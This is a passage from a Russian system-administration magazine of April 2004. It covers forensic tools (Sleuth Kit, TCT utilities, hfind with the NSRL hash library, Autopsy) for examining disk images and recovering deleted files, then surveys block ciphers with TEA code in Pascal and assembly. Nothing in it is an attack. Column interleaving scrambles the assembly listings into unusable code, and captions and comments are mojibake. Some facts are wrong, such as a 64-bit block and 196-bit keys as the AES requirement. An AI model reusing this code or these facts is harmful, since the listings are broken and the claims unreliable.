# ./bcat -h /dev/hda9 9364 512
Ðèñóíîê 7
№4(17), апрель 2004
безопасность
Возможен и обратный поиск, т.е. известен номер бло-
ка и требуется найти номер inode, за которым данный блок
закреплен.
Для этих целей используется команда find_inode. Воз-
можны три результата выполнения: блок будет в списке
inode, блока не будет в списке inode и блок является час-
тью большего фрагмента.
# ./find_inode /dev/hda9 9364
# ./find_inode /image/system.img 12345
Но искать вручную каждый удаленный файл немно-
го хлопотно, поэтому для начала можно пройтись по раз-
делу или созданному образу утилитой fls, выводящей
имена файлов и каталогов, и в том числе недавно уда-
ленных.
Из опций утилиты стоит отметить:
! -a – отображает имена файлов, начинающиеся с точ-
ки, которые любят использовать взломщики;
! -d – вывод только удаленных файлов (-u – только не
удаленных);
! -l – вывод подробной информации о файле;
! -r – рекурсивный обход всех директорий (но не может
следовать за удаленными каталогами).
# ./fls -rd /dev/hda9
57
 безопасность
Ðèñóíîê 8
Как видите, удалось определить, что за файл скрывал-
ся в inode под номером 107, который теперь благополуч-
но можно восстановить при помощи icat. Но если под Linux
такой номер проходит, то в Solaris можно вообще не полу-
чить никакой информации.
Удаленные файлы и каталоги помечаются знаком *.
Первая буква показывает, что за файл, т.е. r-egular, d-
irectory, l-ink, s-ocket или неопределен (?).
Найти имя файла или каталога по известному inode
можно при помощи утилиты find_file. В man не сказано,
что означают те или иные опции, поэтому пришлось пона-
чалу запустить ее со всеми сразу.
#./find_file -adu /dev/hda9 107
58
Пробуем.
# ./find_file -a /dev/hda9 107
Хотя программы по-прежнему нет в списке.
# ls -al /data1/sort
И последняя утилита blockcalc из комплекта TCTUtils
предназначена для отображения соответствия между но-
мером блока в образах, созданных при помощи dd и unrm.
# ./blockcalc -u 9364 /image/system.img
Не знаю, что послужило причиной, но TCT и TCTUtils не
развиваются уже с 2001 года (но это не значит, что их нельзя
использовать и я зря о них рассказывал). Вместо них Brian
Carrier выпускает единый комплект утилит, названный Sleuth
Kit (http://www.sleuthkit.org/sleuthkit), основанный на их коде,
объединяющий основные функциональные возможности и
работающий с файловыми системами NTFS, FAT, FFS,
EXT2FS и EXT3FS. Последняя на момент написания статьи
версия 1.67 от 6 января 2004 года. Для удобства, чтобы лег-
 безопасность
че было ориентироваться, названия утилит изменены и на- # ./mmls -?
чинаются на букву, соотвествуюшую тому уровню, на кото-
ром они работают. Их несколько: File System Layer – работа
с файловой системой; Content Layer (буква d – data) – фак-
тическое содержание блоков, кластеров, фрагментов; Meta
Data Layer (inode) – описывает файл или каталог, т.е. все,
что можно извлечь из inode; Human Interface Layer (file) – бо-
лее удобный уровень взаимодействия с файлами, чем при
использовании метаданных. Во многих утилитах были до-
бавлены новые опции, например, -m, позволяющая выводить т.е. команда для запуска выглядит так:
одновременно информацию и о MAC-временах; -z – для ука-
зания временного пояса, обязательной стала опция -f, пред- # ./mmls -t dos /image/system.img
назначенная для указания файловой системы. После ком-
пиляции в подкаталоге bin вы найдете 18 утилит. Для выдачи информации о состоянии конкретного бло-
ка или сектора dstat используется утилита dstat.

# ./dstat
С назначением утилит file, icat, ils, mactime, istat, fls мы
уже знакомы. Утилита ifind является новой версией
find_inode, ffind пришел на замену find_file, dcalc – blockcalc,
соответственно, dcat – bcat, dls назывался когда-то unrm,
утилиты md5 и sha1 предназначены для работы с конт-
рольными суммами в одноименных алгоритмах. Остались
незнакомыми только hfind, dstat, fsstat, mmls и sorter.
Появившаяся в Sleuth Kit v1.63 утилита mmls предназ-
начена для вывода таблицы разделов. Ее применение мо-
жет помочь в поиске «спрятанных» данных, т.к. показы-
вает, какие сектора не используются.

Ðèñóíîê 8à

№4(17), апрель 2004 59

 безопасность
# ./dstat -f linux-ext3 /image/system.img 9364
Или для выдачи более подробной информации:
# ./dstat -v -f linux-ext3 /image/system.img 19496
Утилита fsstat отображает подробности, связанные с фай-
ловой системой.
# ./fsstat -f linux-ext3 /data2/bin.img
До этого все программы предназначались в основном для
сбора данных, но вот анализ целиком возлагался на плечи
исследователя, и для того, чтобы найти в нескольких гига-
байтах информации инструменты взломщика, ему потребу-
ется много опыта, времени, потраченных на исследование.
60
Утилита hfind как раз и предназначена для поиска хеш-
функций в предварительно созданной базе. Для сравне-
ния может использоваться предварительно созданная
база, тогда ее работа в чем-то напоминает Tripwire. Но
наибольшая эффективность от применения будет достиг-
нута при использовании National Software Reference Library
(NSRL), которую можно найти на http://www.nsrl.nist.gov/.
Проект поддержан Национальным Институтом Американ-
ского Министерства юстиции (NIJ, http://www.ojp.usdoj.gov/
nij/sciencetech/ecrime.htm), Национальным Институтом
Стандартов и Технологии (NIST) и другими подобными
организациями, и предназначен для того, чтобы эффек-
тивно использовать компьютерные технологии в рассле-
довании преступлений, инструментом которых является
компьютер. NSRL разработана, чтобы собрать программ-
ное обеспечение из различных источников и включить про-
фили файлов в справочный информационный набор
Reference Data Set (RDS).
На декабрь 2003 года NSRL обеспечил профили и циф-
ровые сигнатуры для 17 909 964 файлов. Использовав
NSRL, возможно идентифицировать критические систем-
ные файлы, которые были изменены, одним из назначе-
ний этой библиотеки является поиск программ при рас-
следовании преступлений, направленных против интел-
лектуальной собственности. Hfind проверяет значения
хеш-функции в базе данных, используя двоичный алго-
ритм поиска. Это быстрее, чем grep, но требует создания
индексного файла (опция -i).
# ./hfind -h
Применение этой утилиты очень широкое, некоторые ва-
рианты даны в man, например, для контроля за наиболее
важными системными файлами можно использовать ком-
бинацию:
Сначала создаем базу данных, используя md5sum.
# md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/* ↵
/usr/local/bin/* /usr/local/sbin/* > system.md5
Теперь создаем из полученной базы индексный файл.
# ./hfind -i md5sum system.md5
Теперь в текущем каталоге будут находиться два файла.
# ls
 безопасность
Проверяем, что происходит в /bin.

# md5sum /bin/* > bin.md5

# ./hfind -f bin.md5 system.md5

Как видите, с /bin/umount что-то случилось после со- Теперь в подкаталоге data появятся до тринадцати
здания базы данных, и его контрольная сумма не совпа- файлов, количество которых зависит от типов данных, и
дает. И наконец, скрипт на Perl – sorter, который анализиру- файл sorter.sum, в котором содержится суммарная инфор-
ет образ при помощи fls и icat, находит файлы, в том числе и мация о найденных файлах.
скрытые, для найденного файла запускает команду file, для
того чтобы его распознать. При использовании библиотеки # ls data
NSRL возможно отделение плохих файлов от хороших. Спи-
сок плохих тут же попадет в файл alert.txt. Опция -s позволя- Например, exec.txt содержит рассортированный по ал-
ет сохранить в указанном каталоге фактическое содержа- фавиту список исполняемых файлов, найденных в образе.
ние файла, но для этого необходимо указать при помощи
опции -С файл конфигурации, некоторые шаблоны можно
найти в каталоге sorter/sort, этот файл позволяет задать со-
ответствие между расширением и типом файла.
В каждом файле имеются поля шаблонов (конечно же,
можно добавить и свои), например:

В общем же случае работа утилиты выглядит так:

#mkdir data

# ./sorter -d data -f linux-ext3 /image/system.img

Ðèñóíîê 9

№4(17), апрель 2004 61

 безопасность
Ðèñóíîê 10
Как видите, утилит предостаточно, еще больше у них
опций, что, согласитесь, может запутать новичка или че-
ловека, не привыкшего к командной строке, что требует
некоторое время на освоение и сужает круг пользовате-
лей. Поэтому дополнительно к Sleuth Kit был создан инст-
румент визуализации Autopsy Forensic Browser (http://
www.sleuthkit.org/autopsy/index.php).
После распаковки архива и запуска команды make, в
ходе работы которой необходимо ответить на вопросы рас-
положения Sleuth Kit, необходимости закачки библиотек
NSRL и пути (Evidence Locker), куда будут складываться
файлы отчетов, логи и данные. Последние могут потре-
бовать довольно много свободного места, поэтому ука-
62
жите на раздел посвободнее. После чего запускаем, оп-
ционально можно указать порт.
# ./autopsy
Вставив строку с URL в браузер, попадаем в окно
(см. рис. 2), заметьте, доступна помощь (рис. 3).
Первоначально требуется создать базу данных об-
разов, взятых с различных компьютеров командой dd
или dls (unrm), на которых будут проводиться исследо-
вания. Указываем на образ, с которым будем работать.
Для этого жмем на New Case и заполняем пункты, здесь
необходимо ввести название и короткое описание, что-
бы затем можно было без проблем найти нужный об-
раз.
После чего заполняем пункт Adding a New Host, в ко-
тором указываем имя компьютера (будет затем создан

Ðèñóíîê 11
подкаталог с этим именем в Evidence Locker), его корот-
кое описание, временной пояс и опционально расхожде-
ние времени и путь к базам NSRL. И наконец, в Adding a
New Image (рис. 4) заполняем данные на исследуемый
образ. Обратите внимание, что после ввода пути к обра-
зу можно выбрать вариант копирования в папку Evidence
Locker, перемещение или вариант по умолчанию – со-
здание симлинка. Здесь же указываем файловую систе-
му и точку монтирования, с которой снимался образ, если
известна MD5-сумма, то ее можно указать, по умолча-
нию она будет высчитана заново, после чего будет вы-
дан итог (рис. 5).
Нажав Add Image, можно добавить следующий об-
раз к базе данных. Если не нужно, то теперь можно на-
чинать работать с образом. Например, во вкладке Image
Details можно сразу извлечь все строки или удаленные
файлы в отдельный файл (рис. 6). А переходя к нужно-
му пункту, можно получить всю необходимую информа-
цию о данных, содержащихся в тех или иных блоках
(рис. 8, 8а), причем обратите внимание, доступен вы-
вод информации в нескольких видах (ASCII, Hex, String),
добавление комментария к интересному блоку, после-
довательный просмотр блоков, экспорт блока в отдель-
ный файл. Аналогично можно вывести список файлов
(рис. 9), данные о состоянии дисковых inode (рис. 10,
11) и другую информацию, которую можно получить при
помощи утилит Sleuth Kit.
Если первоначальная возня с образами мне не очень
№4(17), апрель 2004
безопасность
понравилась, зато последующая работа оставила при-
ятное впечатление, все-таки намного удобнее пользо-
ваться Autopsy Forensic Browser, по крайней мере воз-
можность выбора меня всегда радует.
Описанные выше утилиты относятся к так называе-
мым forensic, т.е. применяются для поиска доказа-
тельств взлома, которые затем могут быть представ-
лены в суде. Поэтому одним из требований к ним явля-
ется особо бережное отношение к данным и протоко-
лирование всех действий. Также, чтобы затем не заму-
чили адвокаты, подобные утилиты проходят тщатель-
ное тестирование на предмет соответствия поставлен-
ной задаче. Для нас подобные разбирательства скорее
исключение, чем правило, хотя, правда, это не значит,
что хакеры у нас не водятся. Водятся, и в больших ко-
личествах.
И второе применение этих утилит очевидно – сохра-
нение случайно или умышленно стертых данных. К со-
жалению, размер статьи разросся до неконтролируемых
пределов, поэтому пришлось остановиться, но в буду-
щем надеюсь вернуться к этой теме. Успехов. И чтобы
вам никогда не довелось использовать подобные ути-
литы по назначению.
Литература
1. Мешков В. Архитектура файловой системы ext2. – //
Журнал «Системный администратор». №11(12), ноябрь
2003 г., – 26-32с.
63
безопасность

БЛОЧНЫЕ ШИФРЫ

В данной статье приводится краткая характеристика алгоритмов симметричного и асимметричного

шифрования, рассматриваются перспективные направления развития современной криптографии,
а также приводится блок-схема и программная реализация симметричного алгоритма шифрования TEA.

СТАНИСЛАВ ГОШКО

64

Основным методом защиты информации от угрозы нару-
шения ее конфиденциальности является шифрование.
Шифрование – это процесс криптографического преоб-
разования информации в соответствии с определенным
алгоритмом, при этом результат преобразования зависит
от используемого ключа шифрования.
Алгоритмы шифрования можно разделить на две ос-
новные категории:
! симметричные алгоритмы шифрования;
! асимметричные алгоритмы шифрования.
Симметричные алгоритмы.
Основные стандарты и проблема
использования
Симметричные алгоритмы шифрования получили чрезвы-
чайно широкое распространение благодаря высоким пока-
зателям стойкости шифрования и простоты как в аппарат-
ной, так и в программной реализациях. Характерной осо-
бенностью симметричных алгоритмов является то, что ис-
ходное сообщение предварительно разбивается на блоки
фиксированного размера, из-за чего эти алгоритмы получи-
ли название блочных шифров. В качестве примеров сим-
метричных алгоритмов шифрования можно привести оте-
чественный стандарт ГОСТ 28147-89 и наиболее известный
стандарт шифрования DES (Data Encryption Standart), дол-
гое время являвшийся основным стандартом шифрования
в мире. Однако стремительный рост вычислительных воз-
можностей современных ЭВМ привел к тому, что взлом ал-
горитма DES методом полного перебора в реальном масш-
табе времени перестал быть непосильной задачей, и соот-
ветственно криптографическая стойкость DES перестала
удовлетворять требованиям, предъявляемым к международ-
ному стандарту. Кроме того, появились алгоритмы, превос-
ходящие DES по всем параметрам. Учитывая данный факт,
Национальный институт стандартизации и технологий США
(NIST, National Institute of Standards and Technology) в 1997
году объявил открытый конкурс на новый стандарт симмет-
ричного алгоритма шифрования США. Победитель конкур-
са получал статус нового стандарта шифрования AES
(Advanced Encryption Standard) и автоматически становился
de-facto общемировым стандартом шифрования.
Требования к новому стандарту шифрования были весь-
ма простыми: алгоритм должен иметь размер блока 64 бит
и поддерживать ключи шифрования длиной 128, 196 и 256
бит. В конкурсе принимали участие 15 алгоритмов, и толь-
ко 5 из них прошли во второй этап. Все эти 5 алгоритмов
обладали исключительной криптографической стойкостью:
! MARS, разработка IBM;
! RC6, разработка группы ученых под руководством Ро-
нальда Ривеста (Ronald Rivest), RSA Laboratories;
! RIJNDAEL, разработка двух специалистов по криптог-
рафии из Бельгии, J.Daemen, V.Rijmen;
! SERPENT, разработка R.Anderson, E.Bihman, L.Knudsen;
! TWOFISH, разработка компании Counterpane Security
Systems, возглавляемой Брюсом Шнайером (Bruce
Schneier), на основе алгоритма BLOWFISH.
По итогам конкурса, новым стандартом блочного шиф-
рования был объявлен алгоритм RIJNDAEL. С алгоритма
№4(17), апрель 2004
безопасность
RIJNDAEL по условиям конкурса сняты все патентные ог-
раничения, и сам алгоритм получил почетное второе име-
нование: Advanced Encryption Standard – AES.
Симметричные алгоритмы шифрования характеризуют-
ся тем, что используют один и тот же ключ как для шифро-
вания, так и для расширования информации. Таким обра-
зом, любой обладатель ключа может получить доступ к кон-
фиденциальной информации. Отсюда и вытекает главная
проблема использования симметричных алгоритмов – ключ
должен быть доступен только тем, кому адресована инфор-
мация, и никому более, поэтому ключ является секретным.
Любая утечка (или даже подозрение об утечке) ключевых
данных приводит к компрометации всей сети связи и тре-
бует немедленной замены ключей на всех узлах сети. Та-
ким образом, использование симметричных алгоритмов
шифрования требует наличия целой системы распределе-
ния ключей, которая представляет собой комплекс органи-
зационно-технических мер, направленных на предотвраще-
ние возможности утечки и компрометации секретных клю-
чей. Симметричные алгоритмы шифрования идеально под-
ходят для шифрования информации «для себя», например,
с целью предотвратить несанкционированный доступ к ней
в отсутствие владельца. Это может быть как шифрование
выбранных файлов, так и прозрачное шифрование целых
логических или физических дисков.
Асимметричные алгоритмы
Асимметричные алгоритмы используют сложный математи-
ческий аппарат, вследствие чего являются более ресурсо-
емкими и медленными по сравнению с симметричными ал-
горитмами, однако они позволяют преодолеть недостаток,
присущий симметричным алгоритмам, за счет использо-
вания двух ключей – открытого ключа и секретного ключа.
Открытый ключ предназначен для шифрования инфор-
мации. Любой желающий может получить доступ к откры-
тому ключу и зашифровать при помощи этого ключа ин-
формацию. Расшифровать эту информацию можно толь-
ко при помощи секретного ключа, доступ к которому дол-
жен иметь только владелец. Очевидно, что сохранить в
секрете единственный ключ, без необходимости его пе-
редачи кому-либо, намного проще, чем организовать бе-
зопасную систему распределения секретных ключей, как
в симметричных алгоритмах. Однако и здесь не все так
хорошо, как хотелось бы – существует угроза подмены
открытого ключа, и это приводит к тому, что вся коррес-
понденция, направленная владельцу ключа, будет прохо-
дить через руки злоумышленника со всеми вытекающи-
ми отсюда последствиями. Для борьбы с подменой откры-
тых ключей создаются центры сертификации.
Перспективы развития современной
криптографии
Наиболее перспективным направлением развития крип-
тографии с открытым ключом является использование эл-
липтических кривых (ECC, Elliptic Curves Cryptography).
Как сообщает Computerra (www.computerra.ru), в 2003
году Агентство национальной безопасности США купило
лицензию на коммерческую криптотехнологию ECC у ка-
надской фирмы Certicom (http://www.certicom.com), осно-
65
 безопасность
ванной в 1985 году группой ученых-математиков для ком-
мерциализации своего изобретения в области шифрова-
ния с открытым ключом – криптосистемы на эллиптичес-
ких кривых, или ECC (elliptic curve cryptography).
Стойкость шифрования системы ECC базируется на
сложности задачи дискретного логарифмирования, при
этом высокая стойкость криптосистемы достигается при
значительно меньших длинах ключей, нежели в RSA. Со-
гласно рекомендациям Национального института стандар-
тов и технологий (НИСТ) США, эквивалентом 1024-битно-
го ключа RSA, к примеру, является ECC-ключ длиной все-
го 163 бита (соотношение 6:1). Причем зависимость эта
нелинейна, так что для 512-битного ключа ECC размер
аналога в системе RSA составляет уже 15360 бит (соот-
ношение 30:1). Столь выдающиеся характеристики дела-
ют ECC особенно привлекательной для применения в тех
аппаратных условиях, где предъявляются строгие ограни-
чения на размер памяти и объем допустимых вычисли-
тельных ресурсов (устройства типа смарт-карт).
Широкому внедрению ECC долго мешала слабая изу-
ченность математического фундамента криптосистемы, но
поскольку двадцать лет серьезнейших исследований не
выявили в технологии слабостей, сегодня, по мнению мно-
гих криптографов, ее можно считать вполне зрелой. Оче-
видным подтверждением тому стал и нынешний выбор
АНБ, за 25 млн. долларов купившего у Certicom неэкск-
люзивную лицензию на эллиптические кривые и, если
верить сообщениям, намеренного использовать в своих
шифрсредствах 512-битные ключи ECC. По условиям кон-
тракта АНБ получило права на сублицензирование техно-
логии своим собственным клиентам, имеющим дело с
национальной безопасностью.
В разное время лицензии на ECC приобрели более
трехсот фирм, включая Cisco Systems, Motorola, Oracle,
Palm и Texas Instruments.
Еще одно перспективное направление современной
криптографии – квантовая криптография. Это направле-
ние позволяет обеспечить безопасную передачу ключе-
вых данных по волоконно-оптическому кабелю. Суть зак-
лючается в следующем: информация о ключе кодируется
в одном-единственном фотоне света, который затем пе-
редается получателю. Согласно законам квантовой фи-
зики, невозможно измерить один параметр фотона, не
исказив при этом другой. Поэтому попытка перехвата клю-
ча неминуемо спровоцирует нарушения в квантовой сис-
теме и приведет к искажению передаваемой информации.
Таким образом, факт проникновения в систему можно
достаточно легко установить, а обменивающимся сторо-
нам придется только повторить сеанс связи с другим клю-
чом (www.computerra.ru).
Алгоритм TEA
Алгоритм TEA (Tiny Encryption Algorithm) относится к клас-
су симметричных алгоритмов. Этот алгоритм был разра-
ботан в Кембриджском университете как классическая сеть
Фейштеля с оптимизацией под 32-разрядные микропроцес-
соры. Размер блока – 64 бит, длина ключа – 128 бит.
В алгоритме использована сеть Фейштеля с двумя вет-
вями в 32 бита каждая. Образующая функция F обрати-
ма. Сеть Фейштеля несимметрична из-за использования
в качестве операции наложения не исключающего «ИЛИ»,
а арифметического сложения.
Сеть Фейштеля является модификацией метода сме-
шивания текущей части шифруемого блока с результатом
некоторой функции. Данная функция вычисляется от дру-
гой независимой части блока. Этот метод часто использу-
ется, потому что обеспечивает многократное использова-
нии ключа и материала исходного блока информации.
Ðèñóíîê 1. Ñõåìà ðàáîòû àëãîðèòìà TEA
Недостатком алгоритма является некоторая медлитель-
ность, вызванная необходимостью повторять цикл Фейш-
теля 32 раза (это необходимо для тщательного «переме-
шивания данных» из-за отсутствия табличных подстановок).
Рассмотрим примеры реализации данного алгоритма
на языках Паскаль и ассемблере.
Рассмотрим листинг на языке Паскаль (tea.pas):
const Delta=$9E3779B9;
procedure EnCrypt(var y,z:longword; k0,k1,k2,k3:longword);
var a,sum:longword;
begin
sum:=0;
for a:=0 to 31 do
begin
inc(sum,Delta);
inc(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1));
inc(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3));
end;
end;
procedure DeCrypt(var y,z:longword; k0,k1,k2,k3:longword);
var a,sum:longword;
begin
sum:=Delta shl 5;
for a:=0 to 31 do
begin
dec(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3));
dec(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1));
dec(sum,Delta);
end;
end;

66
 безопасность
Рассмотрим листинг на ассемблере (tea_128.asm): pop edi ; Âûíèìàåì èç ñòåêà edi
mov v0,ebx ; Êëàäåì ðåçóëüòàòû
; øèôðîâàíèÿ â îòâåä¸ííîå
;--------------------------------------------------------; mov v1,ecx ; äëÿ íèõ ìåñòî
; BUFFER TO ENCRYPT -> EDX ; ret ; Âîçâðàò èç ïîäïðîãðàììû
; KEY TO ENCRYPT -> EAX ; ;-------------------------------------------------------;
; SIZE OF BUFFER (div 4 = 0) -> ECX ; Decrypt:
;--------------------------------------------------------; push edi ; Ñîõðàíÿåì edi â ñòåêå
total_encrypt: mov ebx,v0 ; Êëàäåì â ebx ïåðâûå
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå ; 32 áèòà äàííûõ
mov ecx,v1 ; Â ecx êëàäåì âòîðûå
mov esi,eax ; Êëàäåì â esi – eax ; 32 áèòà äàííûõ
mov edi,edx ; Êëàä¸ì â edi – edx mov edx,9e3779b9h ;  edx -> sqr(5)-1 * 231
work__: mov eax,edx ; Êëàäåì â eax – ed
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå shl eax,5 ; Ñäâèã eax âëåâî íà 5 áèò
call Encrypt ; Øèôðóåì ïåðâûå 64 áèòà äàííûõ mov edi,32 ; Êëàäåì â edi – 32
popa ; Âîññòàíàâëèâàåì èç ñòåêà DLoopR:
mov ebp,ebx ; Êëàäåì â ebp – ebx
add edi,8 ; Äîáàâëÿåì ê edi – 8 shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî
sub ecx,7 ; Îòíèìàåì îò ecx – 7 sub ecx,ebp ; Îòíèìàåì îò ecx – ebp
loop work__ ; Ïðîäîëæàåì øèôðîâàòü mov ebp,k2 ; Êëàäåì â ebp òðåòüè
; 32 áèòà êëþ÷à
popa ; Âîññòàíàâëèâàåì èç ñòåêà xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx
ret ; Âîçâðàò èç ïîäïðîãðàììû sub ecx,ebp ; Îòíèìàåì îò ecx – ebp
;--------------------------------------------------------; mov ebp,ebx ; Êëàäåì â ebp – ebx
; BUFFER TO DECRYPT -> EDX ; shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò
; KEY TO DECRYPT -> EAX ; xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax
; SIZE OF BUFFER (div 4 = 0) -> ECX ; sub ecx,ebp ; Îòíèìàåì îò ecx – ebp
;--------------------------------------------------------; sub ecx,k3 ; Îòíèìàåì îò ecx –
total_decrypt: ; ÷åòâ¸ðòûå 32 áèòà êëþ÷à
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå ;
mov ebp,ecx ; Êëàäåì â ebp – ecx
mov esi,eax ; Êëàä¸ì â esi – eax shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî
mov edi,edx ; Êëàä¸ì â edi – edx sub ebx,ebp ; Îòíèìàåì îò ebx – ebp
work2__: mov ebp,k0 ; Êëàäåì â ebx ïåðâûå
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå ; 32 áèòà êëþ÷à
call decrypt ; Øèôðóåì ïåðâûå 64 áèòà äàííûõ xor ebp,ecx ; Ñðàâíèâàåì ebp ñ eñx
popa ; Âîññòàíàâëèâàåì èç ñòåêà sub ebx,ebp ; Îòíèìàåì îò ebx – ebp
mov ebp,ecx ; Êëàä¸ì â ebp – ecx
add edi,8 ; Äîáàâëÿåì ê edi – 8 shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò
sub ecx,7 ; Îòíèìàåì îò ecx – 7 xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax
loop work2__ ; Ïðîäîëæàåì øèôðîâàòü sub ebx,ebp ; Îòíèìàåì îò ebx – ebp
sub ebx,k1 ; Îòíèìàåì îò ebx –
popa ; Âîññòàíàâëèâàåì èç ñòåêà ; âòîðûå 32 áèòà êëþ÷à
ret ; Âîçâðàò èç ïîäïðîãðàììû sub eax,edx ; Îòíèìàåì îò eax – edx
;--------------------------------------------------------; dec edi ; Óìåíüøàåì edi íà åäèíèöó
Encrypt: jnz DLoopR ; Äåøèôðóåì äàëüøå
push edi ; Ñîõðàíÿåì edi â ñòåêå
mov ebx,v0 ; Êëàäåì â ebx ïåðâûå pop edi ; Âûíèìàåì èç ñòåêà edi
; 32 áèòà äàííûõ mov v0,ebx ; Êëàä¸ì ðåçóëüòàòû
mov ecx,v1 ;  ecx êëàäåì âòîðûå ; øèôðîâàíèÿ â îòâåä¸ííîå
; 32 áèòà äàííûõ mov v1,ecx ; äëÿ íèõ ìåñòî
xor eax,eax ; Îáíóëÿåì eax ret ; Âîçâðàò èç ïîäïðîãðàììû
mov edx,9e3779b9h ; Â edx -> sqr(5)-1 * 231 ;-------------------------------------------------------;
mov edi,32 ; Êëàäåì â edi - 32 v0 equ dword ptr [edi]
ELoopR: v1 equ dword ptr [edi+4]
add eax,edx ; Äîáàâëÿåì ê eax – edx k0 equ dword ptr [esi]
mov ebp,ecx ; Êëàä¸ì â ebp – ecx k1 equ dword ptr [esi+4]
shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî k2 equ dword ptr [esi+8]
add ebx,ebp ; Äîáàâëÿåì ê ebx – ebp k3 equ dword ptr [esi+12]
mov ebp,k0 ; Êëàä¸ì â ebx ïåðâûå
; 32 áèòà êëþ÷à
xor ebp,ecx ; Ñðàâíèâàåì èõ ñî âòîðûìè Как вы могли заметить, алгоритм довольно-таки про-
; 32 áèòàìè äàííûõ стой и легко реализуем на ассемблере. Теперь на базе
add ebx,ebp ; Äîáàâëÿåì ê ïåðâûì
; 32 áèòàì äàííûõ ðåçóëüòàò данного алгоритма разработаем утилиту для шифрова-
mov ebp,ecx ; Êëàä¸ì â ebp – ecx ния файлов, ориентированную на ОС Windows.
shr ebp,5 ; Äåëèì ebp íà 32
xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax Рассмотрим листинг (fencu.asm):
add ebx,ebp ; Äîáàâëÿåì ê ebx – ebp
add ebx,k1 ; Äîáàâëÿåì ê ebx – âòîðûå .386
; 32 áèòà êëþ÷à .model flat, stdcall
;
mov ebp,ebx ; Êëàäåì â ebp – ebx callx macro x ;
extrn x:proc ; Ìàêðîñ äëÿ óïðîùåíèÿ
shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî call x ; èñïîëüçîâàíèÿ WIN API
add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp
mov ebp,k2 ; Êëàäåì â ebp òðåòüè endm ;
; 32 áèòà êëþ÷à .data
xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx
add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp start:
;--------------------------------------------------------;
mov ebp,ebx ; Êëàäåì â ebp – ebx push offset usage__ ;
shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò
xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax callx printf ; Âûâîäèì ñîîáùåíèå
; îá èñïîëüçîâàíèè äàííîé
add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp add esp,4 ; ïðîãðàììû
add ecx,k3 ; Äîáàâëÿåì ê ecx –
; ÷åòâ¸ðòûå 32 áèòà êëþ÷à callx GetCommandLineA ; Ïîëó÷àåì êîìàíäíóþ ñòðîêó
dec edi ; Óìåíüøàåì edi íà åäèíèöó mov esi,eax ; Ïîìåùàåì óêàçàòåëü íà
jnz ELoopR ; Øèôðóåì äàëüøå
; êîìàíäíóþ ñòðîêó â esi

№4(17), апрель 2004 67

безопасность
call t__ ; Ïîëó÷àåì óêàçàòåëü mov mHnd2,eax ; Ñîõðàíÿåì óêàçàòåëü
; íà ïåðâûé ïàðàìåòð ; íà ïàìÿòü
cmp flag,1 ;
lodsw ; Çàãðóæàåì ïàðàìåòð â ax je d2__ ;
cmp ax,'E-' ; Ïðîâåðÿåì – ìû áóäåì øèôðîâàòü? lea ebx,total_decrypt ; Ïðîâåðÿåì, êàêàÿ
jne d__ ; Íåò, èäåì íà ñëåäóþùóþ ïðîâåðêó ; íàì ôóíêöèÿ íóæíà:
mov flag,1 ; Óñòàíàâëèâàåì ôëàã â 1 jmp d3__ ; øèôðîâêè èëè äåøèôðîâêè
jmp w__ ; È ïåðåõîäèì ê øèôðîâàíèþ d2__: ; è êëàäåì å¸ ñìåùåíèå â ebx
d__: ; lea ebx,total_encrypt ;
cmp ax,'D-' ; Ïðîâåðÿåì – ìû áóäåì äåøèôðîâàòü? d3__:
jne ex__ ; Íåò, èäåì íà âûõîä pop esi ; Ïîëó÷àåì óêàçàòåëü
mov flag,2 ; call t__ ; íà íàø 128 áèòíûé êëþ÷
w__:
call f_open ; Ðàáîòàåì ñ ôàéëîì mov edx,mHnd2 ; Äåøèôðóåì äàííûå
ex__: mov eax,esi ; íàøèì êëþ÷îì (128 áèò)
mov al,flag ; Ïîìåùàåì â al – ôëàã mov ecx,sz_ ; sz_ áàéò – äëèíà äàííûõ
test al,al ; Ïðîâåðÿåì åãî call ebx ;
jnz ex2__ ; Åñëè âñ¸ íîðìàëüíî, òî íà âûõîä
push mHnd2 ;
push offset invalid1_ ; callx UnmapViewOfFile ; Çàêàí÷èâàåì èçìåíåíèå
callx printf ; Âûâîäèì ñîîáùåíèå îá îøèáêå ; ôàéëà â ïàìÿòè è êëàä¸ì
add esp,4 ; ; åãî îáðàòíî
ex2__: error3_:
push 0 ; push mHnd ;
callx ExitProcess ; Çàâåðøåíèå ïðîöåññà callx CloseHandle ; Çàêðûâàåì ïàìÿòü
;--------------------------------------------------------; error2_:
t__: ; push fHnd ;
lodsb ; Ïðîâåðÿåì âñå ñèìâîëû íà ðàâåíñòâî callx CloseHandle ; Çàêðûâàåì ôàéë
cmp al,20h ; ïðîáåëó. Åñëè íàøëè ïðîáåë, òî error_:
jne t__ ; òåïåðü esi óêàçûâàåò íà argv[1] popa ; Âûíèìàåì âñ¸ èç ñòåêà
ret ret ; Âîçâðàò èç ïîäïðîãðàììû
;--------------------------------------------------------; ;--------------------------------------------------------;
f_open: fHnd dd 0 ;
pusha ; Ñîõðàíÿåì âñå â ñòåêå sz_ dd 0 ;
call t__ ; Íàõîäèì èìÿ ôàéëà mHnd dd 0 ;
push esi ; Ñîõðàíÿåì óêàçàòåëü â ñòåêå s2read dd 0 ; Äàííûå
call t__ ; Íàõîäèì ñëåäóþùèé ïàðàìåòð mHnd2 dd 0 ;
